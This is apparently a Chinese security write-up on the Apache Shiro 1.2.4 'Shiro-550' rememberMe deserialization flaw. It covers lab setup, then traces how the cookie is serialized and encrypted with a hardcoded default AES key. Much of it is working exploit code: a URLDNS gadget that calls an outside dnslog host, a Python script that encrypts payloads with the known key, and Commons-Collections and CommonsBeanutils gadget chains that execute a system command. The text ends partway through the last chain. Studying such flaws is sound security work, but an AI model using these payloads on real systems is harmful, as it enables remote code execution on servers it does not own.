shiro550
环境搭建
https://codeload.github.com/apache/shiro/zip/shiro-root-1.2.4
配置pom.xml
javax.servlet
jstl
runtime
javax.servlet
servlet-api
provided
org.slf4j
slf4j-log4j12
runtime
log4j
log4j
runtime
net.sourceforge.htmlunit
htmlunit
2.6
test
org.apache.shiro
shiro-core
org.apache.shiro
shiro-web
org.mortbay.jetty
jetty
${jetty.version}
test
org.mortbay.jetty
jsp-2.1-jetty
${jetty.version}
test
org.slf4j
jcl-over-slf4j
runtime
jstl
jstl
1.2
可能出现的问题
无法解析插件 org.apache.maven.plugins:maven-clean-plugin:2.5
主要原理是因为maven默认用的是外网,会导致有些插件无法下载成功
解决方式:
将maven设置为国内镜像
修改maven3中的settings.xml文件
路径:xxxx\InteLiJ\plugins\maven\lib\maven3\conf
将标签的内容替换为
mirrorId
central
Human Readable Name
http://repo1.maven.org/maven2/
alimaven
aliyun maven
http://central.maven.org/maven2
central
alimaven
aliyun maven
http://maven.aliyun.com/nexus/content/repositories/central/
central
junit
junit Address/
http://jcenter.bintray.com/
central
然后重启maven即可
只需要将压缩包中的web目录解压,然后作为网站根目录即可
漏洞分析
加密过程
在ildea里点击两下Shift,搜索rememberMeSuccessfulLogin
对用户名就行序列化操作
跟进serialize
继续跟进 跟进serialize,这里就是真实的序列化操作
执行完serialize函数加入encrypt
可以看到有一个cipherService.encrypt函数,它其实是将序列化的内容进行aes加密,而getEncryptionCipherKey函数是获取密钥的函数
跟进getEncryptionCipherKey函数,发现返回的是encryptionCioherKey这个属性
getEncryptionCipherKey为AbstractRememberMeManager类中的方法,因此我们自己看构造方法
这里定义了一个常量DEFAULT_CIPHER_KEY_BYTES
跟进到这里会发现setEncryptionCipherKey方法其实就是将DEFAULT_CIPHER_KEY_BYTES赋值给了encryptionCipherKey,在这里就获得了密钥
进入rememberSerializedIdentity方法,这个方法的作用其实就是添加cookie
加密过程就结束了
解密过程
搜索getRememberedIdentity
获取http的Request和Response
获取Cookie内容
这里就是解密过程
在这里调用了反序列化
由于原生的shrio是无法利用cc链的,因此我们在这里直接利用URLDNS这条链
URLDNS
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;
public class urldns {
public static void main(String[] args) throws Exception {
HashMap hashMap = new HashMap();
URL url = new URL("http://rmu2na.dnslog.cn");
Field f = URL.class.getDeclaredField("hashCode");
f.setAccessible(true);
// 这步是防止写入时触发dns查询,详见下文序列化条件总结
f.set(url, 1);
hashMap.put(url, "foo");
f.set(url, -1);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("test.out"));
oos.writeObject(hashMap);
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("test.out"));
ois.readObject();
}
}
由于反序列化的内容是二进制文件,因此需要利用脚本进行加密操作
import sys
import uuid
import base64
import subprocess
from Crypto.Cipher import AES
def get_file(name):
with open(name,'rb') as f:
data = f.read()
return data
def en_aes(data):
BS = AES.block_size
pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
key = base64.b64decode("kPH+bIxk5D2deZiIxcaaaA==")
iv = uuid.uuid4().bytes
encryptor = AES.new(key, AES.MODE_CBC, iv)
base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(pad(data)))
return base64_ciphertext
if __name__ == '__main__':
data = get_file("test.out")
print(en_aes(data))
这里需要将Cookie中的JSESSIONID=xxx;删除掉才会触发服务器重新读取Cookie
由于Shrio对resolveClass进行了修改,导致数组类无法加载,因此原生的cc链是无法直接使用的
有cc依赖
package com.naihe;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import javassist.CannotCompileException;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.NotFoundException;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;
public class cc {
public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, NotFoundException, CannotCompileException, ClassNotFoundException {
//通过字节码构建恶意类
ClassPool classPool= ClassPool.getDefault();
String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet";
classPool.appendClassPath(AbstractTranslet);
CtClass payload=classPool.makeClass("CommonsCollections3");
payload.setSuperclass(classPool.get(AbstractTranslet));
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] bytes=payload.toBytecode();
//CC3
TemplatesImpl templates = new TemplatesImpl();
Class aClass = templates.getClass();
Field nameField = aClass.getDeclaredField("_name");
nameField.setAccessible(true);
nameField.set(templates,"aaaa");
Field bytecodesField = aClass.getDeclaredField("_bytecodes");
bytecodesField.setAccessible(true);
bytecodesField.set(templates,new byte[][]{bytes});
//CC2
InvokerTransformer invokerTransformer = new InvokerTransformer("newTransformer", null, null);
//CC6
HashMap
Map lazyMap = LazyMap.decorate(map, new ConstantTransformer(1));
TiedMapEntry tiedMapEntry = new TiedMapEntry(lazyMap, templates);
HashMap
map2.put(tiedMapEntry,"bbb");
lazyMap.remove(templates);
Class c = LazyMap.class;
Field factoryField = c.getDeclaredField("factory");
factoryField.setAccessible(true);
factoryField.set(lazyMap,invokerTransformer);
serialize(map2);
}
public static void serialize(Object obj) throws IOException, ClassNotFoundException {
ObjectOutputStream objectOutputStream = new ObjectOutputStream(new FileOutputStream("test.out"));
objectOutputStream.writeObject(obj);
objectOutputStream.close();
unserialize("test.out");
}
public static Object unserialize(String Filename) throws IOException, ClassNotFoundException {
ObjectInputStream objectInputStream = new ObjectInputStream(new FileInputStream(Filename));
Object object = objectInputStream.readObject();
return object;
}
}
无cc依赖
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassPool;
import javassist.CtClass;
import org.apache.commons.beanutils.BeanComparator;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;
public class CB1 {
// 修改值的方法,简化代码
public static void setFieldValue(Object object, String fieldName, Object value) throws Exception{
Field field = object.getClass().getDeclaredField(fieldName);
field.setAccessible(true);
field.set(object, value);
}
public static void main(String[] args) throws Exception {
// 创建恶意类,用于报错抛出调用链
ClassPool pool = ClassPool.getDefault();
CtClass payload = pool.makeClass("EvilClass");
payload.setSuperclass(pool.get("com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"));
payload.makeClassInitializer().setBody("new java.io.IOException().printStackTrace();");
payload.makeClassInitializer().setBody("java.lang.Runtime.getRuntime().exec(\"calc\");");
byte[] evilClass = payload.toBytecode();
TemplatesImpl templates = new TemplatesImpl();
setFieldValue(templates, "_bytecodes", new byte[][]{evilClass});
setFieldValue(templates, "_name", "test");
setFieldValue(templates,"_tfactory", new TransformerFactoryImpl());
BeanComparator beanComparator = new BeanComparator(null, String.CASE_INSENSITIVE_ORDER);
PriorityQueue